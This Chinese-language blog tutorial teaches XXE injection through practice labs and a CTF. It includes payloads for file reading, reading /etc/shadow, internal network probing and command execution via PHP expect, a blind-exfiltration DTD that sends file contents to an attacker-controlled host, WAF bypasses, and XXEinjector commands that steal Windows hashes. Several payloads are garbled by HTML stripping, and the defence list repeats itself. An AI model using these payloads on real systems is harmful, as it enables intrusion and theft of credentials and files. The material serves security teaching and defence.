• XXE 漏洞及案例实战


    XXE 漏洞

    1. 基础概念

    1.1 XML基础概念

    XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档 类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

    1.2 XML与HTML的主要差异

    XML被设计为传输和存储数据,其焦点是数据的内容

    HTML被设计用来显示数据,其焦点是数据的外观

    HTML旨在显示信息,而XML旨在传输信息。

    1.3 xml示例

    
    <!DOCTYPE note [	
    <!ELEMENT to (#PCDATA)>			
    <!ELEMENT from (#PCDATA)>		
    <!ELEMENT head (#PCDATA)>		
    <!ELEMENT body (#PCDATA)>		
    ]]]>
    
    
    <note>
        <to>Daveto>
        <from>Tomfrom>
        <head>Reminderhead>
        <body>You are a good manbody>
    note>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    2. 演示案例

    2.1 pikachu靶场XML

    libxml2PHPJava.NET
    file
    http
    ftp
    file
    http
    ftp
    php
    compress.zlib
    compress.bzip2
    data
    glob
    phar
    http
    https
    ftp
    file
    jar
    netdoc
    mailto
    gopher *
    file
    http
    https
    ftp

    开启靶场

    image-20230923180352482

    2.1.1 文件读取
    
    DOCTYPE ANY [
    		
    ]>
    <x>&xxe;x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    注意:文件读取的前提是得有读取的文件。

    image-20230923180527674

    2.1.2 内网探针或者攻击内网应用(触发漏洞地址)
    
    DOCTYPE foo [
    <!ELEMENT foo ANY >
    
    ]>
    <x>&wuhu;x>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。

    如果访问的文件不存在,会显示如下图的信息

    image-20230923180744405

    说明:这种情况实战中一般不容易遇到,因为前提条件比较多,确定内网上存在该文件,并且确定存在该漏洞。还得确定内网上存在该IP地址。

    2.1.4 RCE

    该CASE是在安装expect扩展的PHP环境里执行系统命令

    
    DOCTYPE ANY [
    		
    ]>
    <x>&xxe;x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    id是对于的执行的命令。实战情况比较难碰到。

    2.1.5 引入外部实体DTD
    
    DOCTYPE test [
    		
    		%file;
    ]>
    <x>&send;x>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    evil2.dtd文件

    image-20230923182200035

    文件内容如下:

    
    
    • 1

    image-20230923182111087

    条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。

    2.1.6 无回显读取文件

    先将靶场的回显代码注释掉

    image-20230923192700791

    攻击代码:

    
    DOCTYPE test [
    		
    		
    		%dtd;
    		%send;
    ]>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    test.dtd:

    % send SYSTEM
    'http://192.168.188.197/?data=%file;'>"
    >
    %payload;
    
    • 1
    • 2
    • 3
    • 4
    • 5

    上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。

    开启phpstudy–apache日志

    image-20230923191758016

    image-20230923193500875

    然后进行攻击,无回显,查看日志信息。

    image-20230923193435692

    解码网站

    image-20230923193657799

    3. XXE 绕过

    CTF XXE

    绕过WAF保护的XXE

    ’ENTITY‘ ’YSTEM‘ ’file‘ 等关键词被过滤

    使用编码方式绕过:UTF-16BE
    cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

    若http被过滤,可以使用如下进行绕过

    3.1 data://协议绕过

    
    DOCTYPE test [
         "> 
        %a;
        %b;
    ]>
    <test>&hhh;test>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    3.2 file://协议加文件上传

    
    DOCTYPE test [
        
        %a;
    ]>
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    3.3 php://filter协议加文件上传

    
    DOCTYPE test [
        
        %a;
    ]>
        <test>
            &hhh;
        test>
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    
    DOCTYPE test [
        
        %a;
    ]>
        <test>
            &hhh;
        test>
    
    PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    4. XXE 靶场

    4.1 xxe-lab靶场

    https://github.com/c0ny1/xxe-lab
    
    • 1

    image-20230923202142335

    使用bp抓取数据包,发现Content-Type参数是application/xml,说明在传输数据的时候采用的是xml语言进行传输的。并且传递的数据中代码的写法也是xml语言的写法。从而就证明了存在XXE漏洞

    image-20230923202701373

    Payload:

    
    DOCTYPE Mikasa [
    
    ]>
    <user><username>&test;username><password>Mikasapassword>user>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    将数据包发送到Request模块,然后将攻击的payload复制到指定的位置上,发包即可。

    image-20230923203325635

    读取文件获取用户名密码

    
    
    ]>
     admin;&test;123456
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20230923204550418

    对读取的内容进行base64解码:

    image-20230923204755319

    返回页面进行登录。

    image-20230923204831357

    4.2 CTF-Jarvis-OJ-Web-XXE

    链接地址

    访问页面如下

    image-20230923205057665

    点击Go!,使用BurpSuite抓取数据包

    image-20230923205626336

    发现Content-Type的参数是application/json类型的,传递的数据格式是JSON格式的。

    那么我们可以修改Content-Type的类型为xml,并提交构造的Payload。

    
    DOCTYPE  ANY [
    
    ]>
    <x>&ss;x>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20230923205853842

    读取etc下的shadow文件

    image-20230923210511905

    4.3 Vulnhub/XXE Lab: 1

    靶场地址:Vulnhub/XXE Lab: 1

    下载链接:Download (Mirror)

    5. XXE 工具

    XXEinjector本身提供了非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。

    5.1 获取地址

    https://github.com/enjoiz/XXEinjector
    https://github.com/enjoiz/XXEinjector/archive/master.zip
    
    • 1
    • 2

    5.2 参数说明

    --host     			# 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
    --file      		# 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
    --path           	# 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
    --brute          	# 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
    --logger        	# 记录输出结果。
    --rhost         	# 远程主机IP或域名地址。(--rhost=192.168.0.3)
    --rport          	# 远程主机的TCP端口信息。(--rport=8080)
    --phpfilter    		# 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
    --netdoc     		# 使用netdoc协议。(Java).
    --enumports  		# 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
    --hashes      		# 窃取运行当前应用程序用户的Windows哈希。
    --expect       		# 使用PHP expect扩展执行任意系统命令。(--expect=ls)
    --upload       		# 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
    --xslt      		# XSLT注入测试。
    --ssl              	# 使用SSL。
    --proxy        		# 使用代理。(--proxy=127.0.0.1:8080)
    --httpport 			# Set自定义HTTP端口。(--httpport=80)
    --ftpport       	# 设置自定义FTP端口。(--ftpport=21)
    --gopherport  		# 设置自定义gopher端口。(--gopherport=70)
    --jarport       	# 设置自定义文件上传端口。(--jarport=1337)
    --xsltport  		# 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
    --test     			# 该模式可用于测试请求的有效。
    --urlencode     	# URL编码,默认为URI。
    --output       		# 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
    --timeout     		# 设置接收文件/目录内容的Timeout。(--timeout=20)
    --contimeout  		# 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
    --fast     			# 跳过枚举询问,有可能出现结果假阳性。
    --verbose     		# 显示verbose信息。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    5.3 工具使用

    枚举HTTPS应用程序中的/etc目录:

    ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
    
    • 1

    使用gopher(OOB方法)枚举/etc目录:

    ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
    
    • 1

    二次漏洞利用:

    ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
    
    • 1

    使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

    ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
    
    • 1

    通过直接性漏洞利用方式进行资源枚举:

    ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
    
    • 1

    枚举未过滤的端口:

    ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
    
    • 1

    窃取Windows哈希:

    ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
    
    • 1

    使用Java jar上传文件:

    ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
    
    • 1

    使用PHP expect执行系统指令:

    ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
    
    • 1

    测试XSLT注入:

    ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
    
    • 1

    记录请求信息:

    ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
    
    • 1

    6. XXE 安全防御

    防范XXE攻击,可以采取以下措施:

    1. 输入验证和过滤:对于接收到的 XML 输入,进行严格的输入验证和过滤。确保只接受符合预期格式和结构的 XML 数据,并拒绝不受信任或异常的输入。
    2. 禁用外部实体解析:在 XML 解析器中,禁用或限制外部实体的解析。可以通过设置解析器参数、使用安全配置文件(如 XXE 防御模板)或编程方式来实现。
    3. 使用本地 DTD:避免使用外部 DTD(Document Type Definition)文件,并使用本地 DTD 或内联 DTD 来定义 XML 结构。这样可以防止攻击者利用外部实体声明。
    4. 解析时禁用网络访问:配置 XML 解析器,确保在解析 XML 时禁用或限制对外部网络资源的访问,以防止加载远程实体或资源。
    5. 使用安全的解析库:选择使用经过安全审计和漏洞修复的 XML 解析库。确保使用最新版本的解析库,并及时应用安全补丁。
    6. 白名单验证:根据业务需求,使用白名单验证来限制允许的实体和合法的数据类型。只允许所需的实体和数据类型,拒绝其他实体和不可信的数据类型。
    7. 安全配置:对服务器和应用程序进行安全配置,例如限制文件系统访问权限、禁止外部网络请求等,以减少攻击面和风险。
    8. 升级至最新的 XML 规范:使用最新的 XML 规范,如 XML 1.1 版本,在新规范中对 XXE 攻击进行了一些改进和修复。
      解析器参数、使用安全配置文件(如 XXE 防御模板)或编程方式来实现。
    9. 使用本地 DTD:避免使用外部 DTD(Document Type Definition)文件,并使用本地 DTD 或内联 DTD 来定义 XML 结构。这样可以防止攻击者利用外部实体声明。
    10. 解析时禁用网络访问:配置 XML 解析器,确保在解析 XML 时禁用或限制对外部网络资源的访问,以防止加载远程实体或资源。
    11. 使用安全的解析库:选择使用经过安全审计和漏洞修复的 XML 解析库。确保使用最新版本的解析库,并及时应用安全补丁。
    12. 白名单验证:根据业务需求,使用白名单验证来限制允许的实体和合法的数据类型。只允许所需的实体和数据类型,拒绝其他实体和不可信的数据类型。
    13. 安全配置:对服务器和应用程序进行安全配置,例如限制文件系统访问权限、禁止外部网络请求等,以减少攻击面和风险。
    14. 升级至最新的 XML 规范:使用最新的 XML 规范,如 XML 1.1 版本,在新规范中对 XXE 攻击进行了一些改进和修复。
    15. 安全审计和测试:定期进行安全审计和测试,包括代码审查、渗透测试和漏洞扫描等,以发现并修复潜在的 XXE 漏洞。
  • 相关阅读:
    【C++】常用集合算法
    XShell使用SSH密钥对连接阿里云ECS
    【威联通】共享文件夹设置
    LeetCode_并查集_DFS_BFS_中等_547.省份数量
    点击百度网盘安装包无反应
    SH-CST 2022丨SpeechHome 语音技术研讨会
    WaveletPool:抗混叠在微小目标检测中的重要性
    《数字图像处理-OpenCV/Python》连载(7)视频文件的读取与保存
    请求转发与请求作用域
    【设计模式】 - 结构型模式 - 外观模式
  • 原文地址:https://blog.csdn.net/weixin_58783105/article/details/133237172